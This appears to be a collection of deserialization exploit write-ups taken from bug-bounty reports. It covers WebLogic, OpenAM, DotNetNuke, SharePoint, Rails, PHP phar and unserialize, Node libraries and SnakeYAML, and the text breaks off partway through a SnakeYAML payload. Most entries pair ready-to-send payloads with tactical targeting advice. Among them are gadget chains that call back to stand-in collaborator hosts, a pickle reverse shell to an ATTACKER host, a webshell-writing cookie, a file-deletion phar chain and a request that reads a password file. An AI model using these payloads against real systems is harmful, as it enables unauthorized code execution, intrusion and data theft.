<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>nslookup COLLAB.burpcollaborator.net</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Insight — Fingerprint outdated WebLogic and hit wls-wsat; XMLDecoder deserialization = deterministic RCE. Use Thread.sleep for a blind timing oracle and ProcessBuilder+nslookup for OOB proof without needing outbound HTTP.
Real-world example
Java deserialization RCE/DoS in Oracle PeopleSoft /monitor (URLDNS blind detection)
◆ Critical
Specimen #329400 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
Oracle PeopleSoft PSFT 'monitor' service deserializes attacker-supplied Java objects via readObject() with no type validation (CVE-2017-10366), so any client can post a serialized gadget chain and have it instantiated server-side.
Method
- Locate the PeopleSoft monitor endpoint (path /monitor/ on the PSC/PIA host).
- Generate a ysoserial URLDNS payload pointing at an attacker-controlled DNS name to blind-confirm deserialization without needing a gadget library on the classpath.
- POST the raw serialized bytes with Content-Type binary and watch the authoritative BIND log for the lookup to prove code execution.
- For full RCE swap URLDNS for a CommonsCollections/other RCE gadget; a tiny hand-crafted array payload triggers OutOfMemoryError DoS.
# blind-detect deserialization (no gadget needed):
java -jar ysoserial-all.jar URLDNS http://dod_test.jexboss.info > payload
curl https://TARGET/monitor/ --data-binary @payload -k
# BIND log tell: client X#... query: dod_test.jexboss.info IN A
# DoS payload (nested Object array, base64):
echo -n "rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////d1cQB+AAB////3..." | base64 -d > payload_dos
curl https://TARGET/monitor/ --data-binary @payload_dos -k # -> java.lang.OutOfMemoryError: Java heap space
Insight — Use ysoserial URLDNS as a universal, dependency-free canary to confirm any Java deserialization sink before hunting a working RCE gadget; a DNS callback proves readObject() ran. On PeopleSoft the sink is the /monitor/ service (not /psc/), and patching gadget libraries is NOT a fix -- block the endpoint.
Real-world example
PHP object injection via unserialize() on XML-RPC 'what' parameter (Revive Adserver openads.spc)
◆ Critical
Specimen #512076 · revive_adserver · none · 4 votes · resolved
Program revive_adserverSurface web
Root cause
The adxmlrpc.php XML-RPC handler passes the attacker-controlled 'what' parameter of the openads.spc RPC method straight into unserialize(), enabling PHP Object Injection / POP-chain exploitation.
Method
- Send an XML-RPC request to www/delivery/adxmlrpc.php invoking the openads.spc method.
- Place a crafted serialized PHP object string in the 'what' parameter so it reaches the unserialize() call.
- Trigger a POP gadget chain (via __wakeup/__destruct magic methods of loaded classes) for object injection, and abuse serialize-related PHP CVEs.
POST /www/delivery/adxmlrpc.php HTTP/1.1
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>openads.spc</methodName>
<params>
<param><value><string>O:8:"SomeClass":1:{s:3:"cmd";s:2:"id";}</string></value></param>
</params>
</methodCall>
<!-- crafted PHP serialized object lands in unserialize() via the 'what' parameter -->
Insight — XML-RPC / RPC dispatch parameters are a classic hiding spot for unserialize() sinks. When you see a PHP endpoint taking an opaque string arg, feed a serialized object (O:...) probe and look for magic-method side effects; escalate via a POP chain from any autoloaded class.
Real-world example
Privileged Java readObject on disc-controlled file -> BD-J sandbox escape chain (PS4/PS5)
◆ High
Specimen #1379975 · playstation · 20000 · 296 votes · resolved
Program playstationSurface otherChain privileged deserialization -> arbitrary class instantiatiTag file-upload
Root cause
A privileged component deserialized an attacker-replaceable file (userprefs) with ObjectInputStream.readObject() inside AccessController.doPrivileged, instantiating classes in privileged context; combined with arbitrary class instantiation, an Ixc/RMI privileged method-invocation primitive, a compiler write-what-where, and a UDF memcpy overflow, this yields JIT/code execution.
Method
- Replace the privileged-context serialized file (userprefs) with a malicious object graph to instantiate a ClassLoader subclass and call defineClass with AllPermission, disabling the SecurityManager.
- Use com.oracle.security.Service.newInstance (Class.forName on arbitrary name) to instantiate restricted classes; bypass its registration check via setProviderAccessor.
- Use IxcProxy.invokeMethod to call public non-static methods (e.g. File.list) in privileged context by subclassing and implementing a Remote interface that re-declares the method throws RemoteException.
- Send an untrusted compiler_data pointer to the compiler receiver thread for a write-what-where into JIT memory; write shellcode. (Vuln 5 UDF overflow: make inf_len > sector_size for a memcpy overflow.)
// Ixc privileged-invocation bypass pattern:
interface FileInterface extends java.rmi.Remote { String[] list() throws java.rmi.RemoteException; }
class FileImpl extends java.io.File implements FileInterface { FileImpl(String p){ super(p);} }
// register FileImpl via Ixc, then invoke list() -> runs in privileged context, bypassing File permission checks
Insight — Any readObject on a file/stream an attacker can influence is RCE-adjacent, and doubly dangerous inside doPrivileged. On sandboxed JVMs, RMI/Ixc bridges and reflective factories (Class.forName, provider accessors) are classic paths to run code with elevated permissions and defeat the SecurityManager.
Real-world example
RDoc unsafe YAML load of .rdoc_options / doc cache -> object injection RCE
◆ High
Specimen #2438265 · ibb · $4860 · 87 votes · resolved
Program ibbSurface otherChain Untrusted repo -> rdoc reads YAML config/cache -> obje
Root cause
RDoc parsed its .rdoc_options config and documentation cache as YAML without restricting permitted classes, so a crafted file deserializes arbitrary Ruby objects (object injection) and reaches RCE when `rdoc` runs on an untrusted repository.
Method
- Place a malicious .rdoc_options (or documentation cache) in a repository containing a crafted YAML object-injection payload
- Get the victim to run rdoc / doc generation over that repo (CI, gem install, local docs)
- Unsafe YAML.load restores attacker-chosen classes -> code execution
# RDoc 6.3.3-6.6.2 (Ruby 3.x-3.3.0) parses .rdoc_options as YAML with no permitted_classes.
# A crafted .rdoc_options / doc cache with a Ruby object-injection gadget executes on `rdoc`.
# Fix: upgrade rdoc >= 6.6.3.1 (or 6.3.4.1/6.4.1.1/6.5.1.1). CVE-2024-27281 / GHSA-592j-995h-p23j
Insight — Any tool that YAML.load()s a repo-controlled config or cache file is an object-injection vector. When auditing dev tooling (doc generators, linters, build config), look for YAML.load / Marshal.load of files that ship inside a cloned repo; running the tool on attacker repos becomes RCE.
Real-world example
PHP Phar deserialization via CSV importer fopen()
◆ High
Specimen #403083 · automattic · awarded · 84 votes · resolved
Program automatticSurface webChain Shop-manager (low priv) -> phar deserialization -> RCETag file-upload
Root cause
WooCommerce WC_Product_CSV_Importer constructor calls read_file()->fopen($this->file) on an attacker-controlled path with no scheme/type check; supplying a phar:// URL triggers deserialization of the Phar metadata object (POP chain) => RCE.
Method
- Upload a valid Phar polyglot (renamed poc.jpg) through the media uploader (extension is irrelevant to phar://).
- Start the product CSV import and, at the confirmation step, tamper the POST 'file' parameter to phar://path/to/poc.jpg.
- fopen() on the phar:// path deserializes the embedded gadget and executes PHP.
# tamper import POST param:
file=phar:///var/www/html/wp-content/uploads/2018/xx/poc.jpg
Insight — Any filesystem function (fopen/file_exists/is_dir/getimagesize/etc.) reached with a user-controlled path is a phar:// deserialization sink even without unserialize(); upload a phar polyglot first, then point a filesystem call at it.
Real-world example
PHP GMP unserialize type confusion -> object property overwrite -> RCE
◆ High
Specimen #198734 · ibb · awarded · 68 votes · resolved
Program ibbSurface webChain Cookie unserialize -> GMP type confusion -> overwrite
Root cause
PHP's GMP unserialize (5.6<5.6.30) has a type-confusion: a crafted __wakeup can turn the GMP object into an integer ZVAL, so zend_hash_copy writes attacker-controlled properties into an arbitrary already-instantiated object in the object store; in MyBB<=1.8.3 this overwrites the templates $cache used in eval() for RCE.
Method
- Craft a serialized GMP payload that casts to an integer equal to an object handle
- Chain DateInterval.__wakeup (convert_to_long) to trigger the cast
- Point the handle at the target object (MyBB $templates, handle 5) and set its $cache['index'] to PHP code
- Deliver via the mybb[forumread] cookie which is unserialize()d; eval() in template parsing runs the code
curl --cookie 'mybb[forumread]=a:1:{i:0;C:3:"GMP":106:{s:1:"5";a:2:{s:5:"cache";a:1:{s:5:"index";s:14:"{${phpinfo()}}";}i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}' http://target/mybb/
Insight — Native-extension unserialize handlers (GMP, and historically others) can be type-confusion primitives independent of app POP chains. Where an app unserialize()s a cookie/input AND later eval()s templated data, overwrite the template cache object to inject PHP.
Real-world example
DotNetNuke DNNPersonalization cookie deserialization RCE
◆ High
Specimen #876708 · deptofdefense · none · 56 votes · resolved
Program deptofdefenseSurface web
Root cause
DNN <9.3.0 deserializes the DNNPersonalization cookie on 404 pages using a type that permits an ExpandedWrapper/ObjectDataProvider gadget, yielding arbitrary method invocation (file read/write, RCE).
Method
- Request any 404 page (e.g. /test) to trigger DNNPersonalization processing
- Set DNNPersonalization cookie to an ExpandedWrapper+ObjectDataProvider gadget (ysoserial.net DotNetNuke plugin)
- Use WriteFile/ProcessStartInfo method to write a webshell or read files
Cookie: DNNPersonalization=<profile><item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework]], System.Data.Services"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider ...><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">test</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
Insight — On any DotNetNuke target, fingerprint version and try a DNNPersonalization gadget cookie against a 404 page; generate with ysoserial.net's DotNetNuke plugin.
Real-world example
Tomcat partial PUT temp-file smuggling into file-based session deserialization (CVE-2025-24813)
◆ High
Specimen #3031518 · ibb · $4323 · 56 votes · resolved
Program ibbSurface webChain partial PUT write -> planted session file -> Java deseTag file-upload
Root cause
Tomcat's partial PUT writes a temp file named from the user path with '/' replaced by '.'; with the default servlet write-enabled and file-based session persistence at the default location, an attacker uploads a serialized-session file whose deserialization on session load yields RCE (needs a gadget lib on classpath).
Method
- Confirm default servlet writes enabled and partial PUT supported (enabled by default).
- PUT a partial content body containing a malicious serialized session object; the path.separator->'.' rewrite lands it as Tomcat's session store file.
- Trigger session load with the matching JSESSIONID so Tomcat deserializes the attacker file.
PUT /path/to/session HTTP/1.1
Content-Range: bytes 0-.../...
Content-Length: N
<ysoserial serialized session object bytes>
Insight — Chained-precondition bugs: partial PUT (write primitive) + file-based session persistence (deserialization sink) + any gadget lib. When auditing servers, enumerate write-enabled default servlets and session persistence config together, not in isolation.
Real-world example
Rails MessageVerifier Marshal deserialization RCE via ActiveStorage signed id (CVE-2019-5420)
◆ High
Specimen #473888 · rails · 1500 · 41 votes · resolved
Program railsSurface web
Root cause
MessageVerifier/MessageEncryptor default to Marshal as serializer; ActiveStorage signs blob keys with a verifier. In dev mode secret_key_base = MD5(app name) is derivable, so an attacker forges a valid signed blob_key wrapping a Marshal gadget (ERB via DeprecatedInstanceVariableProxy) -> RCE on the disk_service route.
Method
- Recover/guess secret_key_base (dev: MD5 of app class name)
- Derive the ActiveStorage verifier key and build a Marshal ERB gadget
- Sign it as blob_key and GET /rails/active_storage/disk/<signed>/x to deserialize -> RCE
erb = ERB.allocate; erb.instance_variable_set(:@src,'`touch /tmp/rce`'); erb.instance_variable_set(:@filename,'1'); erb.instance_variable_set(:@lineno,1)
dump = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb,:result)
verifier.generate(dump, purpose: :blob_key) # -> use as :encoded_key in /rails/active_storage/disk/<...>/x
Insight — Any Rails app leaking or using a weak secret_key_base exposes every MessageVerifier/Encryptor (cookies, ActiveStorage signed ids) to Marshal object-injection RCE; dev mode auto-derives the key from the app name.
Real-world example
Pre-auth Java deserialization RCE in ForgeRock OpenAM (CVE-2021-35464)
◆ High
Specimen #1248052 · deptofdefense · none · 30 votes · resolved
Program deptofdefenseSurface web
Root cause
OpenAM's Jato framework deserializes the jato.pageSession request parameter without validation, so an unauthenticated attacker can supply a malicious serialized Java object (ysoserial gadget) to reach RCE.
Method
- Fingerprint OpenAM (e.g. /openam/ccversion/Version endpoint is reachable pre-auth)
- Build a ysoserial gadget (Click1 chain works against OpenAM's classpath), prepend a null byte, base64+URL-safe encode and strip padding/newlines
- Send it as jato.pageSession on the Version endpoint; a 302 to AMInvalidURL plus the out-of-band callback confirms execution
java -jar ysoserial-all.jar Click1 "curl https://COLLAB" | (echo -ne \x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' | tr -d '\n' > payload.txt
GET /openam/ccversion/Version?jato.pageSession=PAYLOAD HTTP/1.1
Host: TARGET
Insight — Any framework that stores/round-trips state in a serialized, client-supplied parameter (jato.pageSession here) is a deserialization sink; base64+URL-safe transform and a leading null byte are common wrappers to survive HTTP transport and framework parsing.
Real-world example
Concrete5 phar:// deserialization -> POP chain arbitrary file delete (CVE-2021-40102)
◆ High
Specimen #921288 · concretecms · none · 28 votes · resolved
Program concretecmsSurface webChain file upload (image filter bypass) -> phar:// via is_dir()Tag file-upload
Root cause
The storage-location 'Add Location' flow passes the user 'path' straight into is_dir(); a phar:// path deserializes the Phar metadata, and a POP chain (VolatileDirectory::__destruct -> Filesystem::deleteDirectory -> unlink) deletes arbitrary files/directories.
Method
- Generate a Phar whose metadata is a VolatileDirectory object with ->path set to the directory to delete; rename it to .png to pass the upload filter.
- Upload it via the File Manager.
- Dashboard -> System & Settings -> File Storage Location -> Add Location, set path to phar://./application/files/<id>/exploit.png; is_dir() triggers deserialization and the __destruct gadget runs on shutdown.
<?php
namespace Illuminate\Filesystem { class Filesystem {} }
namespace Concrete\Core\File\Service {
class VolatileDirectory {
protected $filesystem; protected $path;
function __construct(){ $this->filesystem = new \Illuminate\Filesystem\Filesystem; $this->path = '/var/www/html/target_dir'; }
}
}
namespace {
$p = new Phar('exploit.phar'); $p->startBuffering();
$p->setStub('<?php __HALT_COMPILER();');
$p->setMetadata(new \Concrete\Core\File\Service\VolatileDirectory);
$p->addFromString('a.txt','x'); $p->stopBuffering();
rename('exploit.phar','exploit.png');
}
// trigger path: phar://./application/files/6815/9449/9442/exploit.png
Insight — phar:// deserialization needs only a filesystem-function sink (is_dir/file_exists) plus a way to plant a file; find a __destruct/__wakeup gadget in the app or its vendored libs (illuminate/filesystem here) to reach unlink/rmdir/eval. Rename the phar to an allowed image extension to defeat upload filters.
Real-world example
SharePoint CVE-2019-0604 XAML ObjectDataProvider deserialization -> unauth RCE
◆ High
Specimen #534630 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface webChain unauth request -> XAML deserialization -> Process.StarTag supply-chain
Root cause
SharePoint deserializes untrusted XML from the ItemPicker (picker.aspx hiddenSpanData) without type restriction, so a XAML ObjectDataProvider gadget instantiating System.Diagnostics.Process.Start runs arbitrary OS commands as the SharePoint service account.
Method
- Build a XAML ResourceDictionary with an ObjectDataProvider that calls Process.Start(cmd.exe, /c <command>)
- Encode it to the SharePoint __ format (ConsoleApplication1.exe t.xml)
- Load /_layouts/15/picker.aspx?PickerDialogType=ItemPickerDialog..., intercept, set ctl00$...$hiddenSpanData to the encoded blob
- Send -> command executes server-side (verify via ping/OOB)
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="x" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c ping COLLAB</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
Insight — .NET XML/XAML sinks that deserialize without a type allowlist are RCE via ObjectDataProvider->Process.Start. When you see picker.aspx / hiddenSpanData / __-prefixed encoded params on SharePoint (or any XmlSerializer/LosFormatter surface), test this gadget.
Real-world example
JSON.load (json_class) deserializes unexpected Ruby classes (Rails Kredis CVE-2023-27531)
◆ High
Specimen #1702859 · rails · none · 12 votes · resolved
Program railsSurface web
Root cause
Kredis::Type::Json#cast_value uses JSON.load (not JSON.parse); JSON.load honors the 'json_class' key and, with json/add/core loaded, reconstructs arbitrary classes (String, Regexp, ...) from JSON, so untrusted JSON stored in Redis deserializes into unexpected objects (e.g. Regexp -> ReDoS).
Method
- Store attacker JSON containing {"json_class":"Regexp",...} in a Kredis JSON value.
- Reading json.value calls JSON.load and instantiates the declared class instead of a plain Hash.
require 'json/add/core'
json.value = /evil/.as_json # => {"json_class"=>"Regexp","o"=>0,"s"=>"evil"}
json.value # => /evil/ (real Regexp object, not a Hash)
Insight — In Ruby, JSON.load (and Marshal.load, YAML.load) is unsafe on untrusted input -- the json_class hook plus json/add/* revives real objects. Always use JSON.parse. Grep libraries for JSON.load on stored/user data.
Real-world example
Unauthenticated arbitrary file read via WDDX deserialization + _metadata.classname traversal (ColdFusion CVE-2023-26360)
◆ High
Specimen #2248781 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface webChain unauth deserialization -> arbitrary file read -> CF ad
Root cause
An unauthenticated ColdFusion CFC endpoint deserializes untrusted _variables input; a crafted _metadata.classname containing path traversal makes the server read and return an arbitrary file (e.g. lib/password.properties) with no auth.
Method
- POST to a reachable CFC method (e.g. iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo)
- Send a URL-encoded _variables blob whose _metadata.classname is a traversal path to the target file
- Read the file (e.g. the CF admin password hash) from the response
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d
Insight — ColdFusion endpoints exposing _cfclient=true + returnFormat=wddx deserialize attacker input; _metadata.classname is a file-read/RCE sink. Test both /CFIDE/... and /cf_scripts/.../iedit.cfc method endpoints against unpatched CF 2018/2021.
Real-world example
Pre-auth Java deserialization RCE in ForgeRock OpenAM (CVE-2021-35464)
◆ High
Specimen #1248040 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface webChain unauth param deserialization -> ysoserial gadget -> RCTag supply-chain
Root cause
OpenAM's Jato framework deserializes an untrusted, base64/URL-safe-encoded parameter without authentication, allowing a ysoserial gadget chain (Click1) to execute OS commands pre-auth.
Method
- Build a gadget payload with ysoserial (Click1 chain) for the command
- base64 + URL-safe transform + prepend a NUL byte as Jato expects
- Send it as the vulnerable GET parameter to the OpenAM endpoint
- Confirm via out-of-band (Burp Collaborator) callback
java -jar ysoserial-all.jar Click1 "curl https://COLLAB/" | (echo -ne '\x00' && cat) | base64 | tr '/+' '_-' | tr -d '=' | tr -d '\n' > payload.txt
# GET /openam/....=<payload> HTTP/1.1 (Jato deserialization endpoint)
Insight — Java frameworks that deserialize a request parameter (Jato, others) are pre-auth RCE when a gadget is on the classpath; use ysoserial and confirm blind exploitation with an OOB collaborator callback. The leading NUL + URL-safe base64 is the Jato-specific encoding wrapper.
Real-world example
LFI -> PHP object injection -> XXE -> SSRF -> pickle RCE chain
◆ High
Specimen #416004 · h1-5411-ctf · none · 11 votes · resolved
Program h1-5411-ctfSurface webChain LFI -> source disclosure -> PHP object injection ->Tag file-upload
Root cause
A meme generator exposes local file read via the template param; downloaded source reveals an import endpoint that unserialize()s uploaded base64 into a ConfigFile whose __toString() parses attacker XML with external entities enabled, yielding XXE/SSRF that reaches an internal pickle-deserializing API.
Method
- Read local files via template=../../ (LFI) and pull application source
- Find import_memes endpoint: unserialize(base64_decode(uploaded_file))
- Craft serialized ConfigFile with config_raw = malicious DTD; __toString() (called when session memes are echoed) runs loadXML with LIBXML_NOENT|LIBXML_DTDLOAD -> XXE
- Use XXE http:// wrapper to reach internal service on :1337
- status?debug=1 leaks base64 python pickle; update-status?status=<pickle> deserializes -> RCE
# LFI
?template=../../includes/config.php&type=text
# PHP object injection (base64 of):
O:10:"ConfigFile":1:{s:10:"config_raw";s:...:"<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://localhost:1337/update-status?status=BASE64_PICKLE\">]><root><toptext>&xxe;</toptext><type>text</type></root>";}
# pickle RCE gadget
class payload(object):
def __reduce__(self):
return (os.system, ('nc ATTACKER 8008 -e /bin/sh',))
Insight — Chain multiplier: LFI to get source lets you discover unserialize/loadXML/pickle sinks then bridge them. PHP __toString() is a reachable object-injection trigger whenever the object is echoed (e.g. session render).
Real-world example
PrimeFaces 5.x pre-5.3.8 EL-injection RCE (CVE-2017-1000486)
◆ High
Specimen #1067291 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface web
Root cause
PrimeFaces 5.x uses a weak/hardcoded password and predictable primefaces AES padding for its DataExporter/expression handling, letting an unauthenticated attacker inject an EL expression that executes as the app (tomcat) user.
Method
- Fingerprint PrimeFaces version (JS/resource paths) and confirm < 5.3.8
- Run the public exploit against the app path
- Execute commands as tomcat
python primefaces.py https://TARGET/ftn-Website/ -c id
# -> uid=91(tomcat) gid=91(tomcat) ...
Insight — Version-fingerprint front-end frameworks (PrimeFaces, Struts, JSF) and map to known EL/deserialization CVEs; PrimeFaces resource URLs leak the exact version. Unauth RCE on tomcat is a strong pivot point.
Real-world example
cryo npm __proto__ + serialized valueOf -> RCE on object use
◆ High
Specimen #350418 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface api
Root cause
cryo rebuilds objects from JSON with bracket assignment (obj[key]=value) and supports function serialization, so attacker JSON can set __proto__ and provide malicious toString/valueOf; the code runs the moment the app touches the object (e.g. string coercion).
Method
- App calls Cryo.parse on attacker-controlled JSON
- Craft frozen JSON that sets __proto__ to an object with a serialized valueOf/toString function
- When app uses the object (console.log/concat), the function executes
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"pwn\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}';
Cryo.parse(frozen);
Insight — Node serialization libs that (a) allow function deserialization or (b) do raw obj[key]=value are RCE/prototype-pollution sinks; check any Cryo/node-serialize/funcster-style parse fed untrusted JSON. The valueOf/toString trigger fires on incidental object use, no direct invocation needed.
Real-world example
ForgeRock OpenAM pre-auth Java deserialization RCE (CVE-2021-35464)
◆ High
Specimen #1249456 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
OpenAM's Jato framework deserializes an attacker-controlled, base64url-encoded parameter without authentication, so a ysoserial gadget yields unauthenticated RCE.
Method
- Build a ysoserial Click1 payload with your command, prepend a null byte, base64url-encode it
- Send it in the vulnerable OpenAM GET parameter
- Confirm via out-of-band callback (Burp Collaborator)
java -jar ysoserial.jar Click1 "curl https://COLLAB" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' | tr -d '\n' > payload.txt
# then: GET /openam/...=<payload> HTTP/1.1
Insight — Fingerprint SSO/IAM stacks (OpenAM, Crowd, etc.) and match to deserialization CVEs; encode ysoserial output as base64url and remember the leading null-byte quirk. Use OOB (Collaborator) to confirm blind RCE.
Real-world example
funcster npm IIFE executes during deserialization -> OS command exec
◆ High
Specimen #350401 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface api
Root cause
funcster rebuilds functions by wrapping serialized source in a generated module (module.exports=(function(module,exports){return{...};})()); an IIFE embedded in the serialized function runs immediately at deserialize time, and this.constructor.constructor('return process')() escapes the sandbox to reach process for command execution.
Method
- App calls funcster.deepDeserialize on attacker JSON
- Supply a __js_function whose body is an IIFE (ends with () ) so it self-invokes during rebuild
- Use this.constructor.constructor('return process')() to obtain process and spawn a command
var serJSON = { __js_function: "function testa(){var process = this.constructor.constructor('return process')(); var spawn_sync = process.binding('spawn_sync'); /* build spawnSync */ var x = spawnSync('whoami'); process.stdout.write(x.output.toString());}()" };
funcster.deepDeserialize(serJSON);
Insight — For node function-deserializers, an IIFE (trailing ()) forces execution at parse time, and constructor.constructor('return process')() is the universal escape from a restricted context to Node internals (process.binding('spawn_sync')). Reusable across sandbox-escape scenarios.
Real-world example
Prototype pollution via object-path setter (mpath)
◆ High
Specimen #390860 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> gadget in downstream sink (templat
Root cause
A MongoDB-style path setter walks/creates nested object keys from an attacker-controlled path string without blacklisting __proto__/constructor/prototype, so a path like __proto__.x writes onto Object.prototype, polluting every object in the runtime.
Method
- Reach an API where a path/key string is passed to the object setter (mpath.set) with attacker-controlled path
- Supply a path beginning with __proto__ (or constructor.prototype)
- The setter creates/overwrites the property on Object.prototype
- Newly created objects inherit the injected property; escalate to DoS, auth bypass, or RCE depending on downstream sinks (e.g. template engines)
var mpath = require('mpath');
var obj = { comments: [ {title:'funny'}, {title:'exciting!'} ] };
mpath.set('__proto__.x', ['hilarious','fruity'], obj);
console.log({}.x); // ['hilarious','fruity']
Insight — Any recursive setter/merge that accepts a user-supplied key path is a prototype-pollution sink; test __proto__.<x> and constructor.prototype.<x>. Impact hinges on the consumer (mongoose here) actually letting attackers control the path, so trace whether the path reaches user input.
Real-world example
Rails cache raw:true auto Marshal.load of untrusted values -> RCE (CVE-2020-8165)
◆ High
Specimen #413388 · rails · none · 2 votes · resolved
Program railsSurface web
Root cause
ActiveSupport MemCacheStore/RedisCacheStore auto Marshal.load values on read even when written with raw:true, so any app that caches an attacker-influenced string with raw:true and reads it back deserializes untrusted Marshal data with no app-code bug required.
Method
- Find app code that fetches a remote/attacker-influenced string into Rails.cache with raw:true (e.g. caching an HTTP response body).
- Get an attacker-controlled Marshal blob into that cache value (poison the upstream/remote source the app caches).
- On the next cache read, Rails silently Marshal.loads the blob; a generic ERB DeprecatedInstanceVariableProxy gadget yields RCE.
require 'erb'; require 'rails/all'
remote_code = "puts 'HACKED'\n"
erb = ERB.allocate
erb.instance_variable_set(:@src, remote_code)
erb.instance_variable_set(:@lineno, 0)
deprecation = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
exploit_data = Marshal.dump(deprecation)
# any string put in a raw:true cache slot is Marshal.load'ed on read:
# Marshal.load(exploit_data) -> ERB @src executes
# demonstration that raw:true still unmarshals:
cache = ActiveSupport::Cache::MemCacheStore.new('localhost')
cache.fetch("demo", raw:true){ Marshal.dump(:sym) }
cache.fetch("demo", raw:true) # => :sym (deserialized!)
Insight — Framework-level deserialization sinks hide in cache/session/serialization layers, not just obvious endpoints. On Rails targets, look for raw:true cache usage feeding on untrusted upstreams; the ERB DeprecatedInstanceVariableProxy Marshal gadget is a reliable universal Ruby RCE payload.
Real-world example
YAML !php/object tag reaches unserialize() -> PHP object injection/RCE
◆ High
Specimen #73257 · ibb · awarded · 1 votes · resolved
Program ibbSurface otherChain YAML parse -> unserialize() -> object injection / POP
Root cause
PHP's yaml_parse*() is documented as safe, but the undocumented !php/object tag invokes unserialize() on attacker YAML, instantiating arbitrary classes and firing __destruct/__wakeup gadgets; yaml_parse_url even fetches the YAML from a remote URL.
Method
- Find code that parses attacker-influenced YAML with yaml_parse/yaml_parse_file/yaml_parse_url.
- Embed a !php/object tag carrying a serialized object of a class with a dangerous __destruct/__wakeup.
- Parsing deserializes it, triggering the gadget chain (POP -> file write/RCE).
<?php
class A { function __destruct(){ echo 'destructor invoked'; } }
yaml_parse('x: !php/object O:1:"A":0:{}');
// remote-fetch variant:
yaml_parse_url('http://attacker/yaml.txt');
Insight — 'Safe' serializers are not safe once they expose a language-object tag: audit YAML/JSON/XML parsers for !php/object, !!python/object, Java @type, etc. yaml_parse_url turns this into a full SSRF+deserialization primitive since the payload is fetched from an attacker URL.
Real-world example
SoapClient::__call type confusion via unserialize()
◆ High
Specimen #55030 · ibb · awarded · 1 votes · resolved
Program ibbSurface otherChain unserialize() of attacker data -> type confusion in SoapC
Root cause
PHP soap.c reads the __default_headers property with Z_ARRVAL_P without checking its type; a crafted unserialize() payload sets __default_headers to an integer, so when a method is called on the object the engine treats a scalar as a HashTable -> type confusion -> arbitrary read/write and code execution.
Method
- Find a sink that unserialize()s attacker data (cookie, cache, hidden field).
- Supply a serialized SoapClient object whose __default_headers property is a scalar (e.g. int).
- Any method call on the resulting object (via __call magic) dereferences the scalar as an array, crashing/corrupting memory.
<?php
$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";i:1337;}');
var_dump($dummy->whatever()); // Z_ARRVAL_P on i:1337 -> SIGSEGV @ 0x539
Insight — PHP object injection is exploitable even without a classic __destruct gadget: builtin classes whose magic methods (__call, __toString) trust an internal property's type give type-confusion primitives. When you control unserialize input, probe SoapClient, ArrayObject, SplObjectStorage and similar builtins, not just app classes.
Real-world example
SnakeYAML type instantiation RCE via !!javaClass tags
◆ Medium
Specimen #1167773 · kubernetes · $1000 · 45 votes · resolved
Program kubernetesSurface api
Root cause
io.kubernetes.client.util.Yaml uses SnakeYAML's default constructor, which lets a YAML document instantiate arbitrary Java classes via the !!some.Class ['arg'] tag; a class like ScriptEngineManager/URLClassLoader leads to remote code execution when a hostile YAML is loaded.
Method
- Get the target to load an attacker-supplied YAML with the Java client (e.g. a CRD/manifest).
- Use a !! tag to instantiate a gadget class that fetches and runs remote code.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
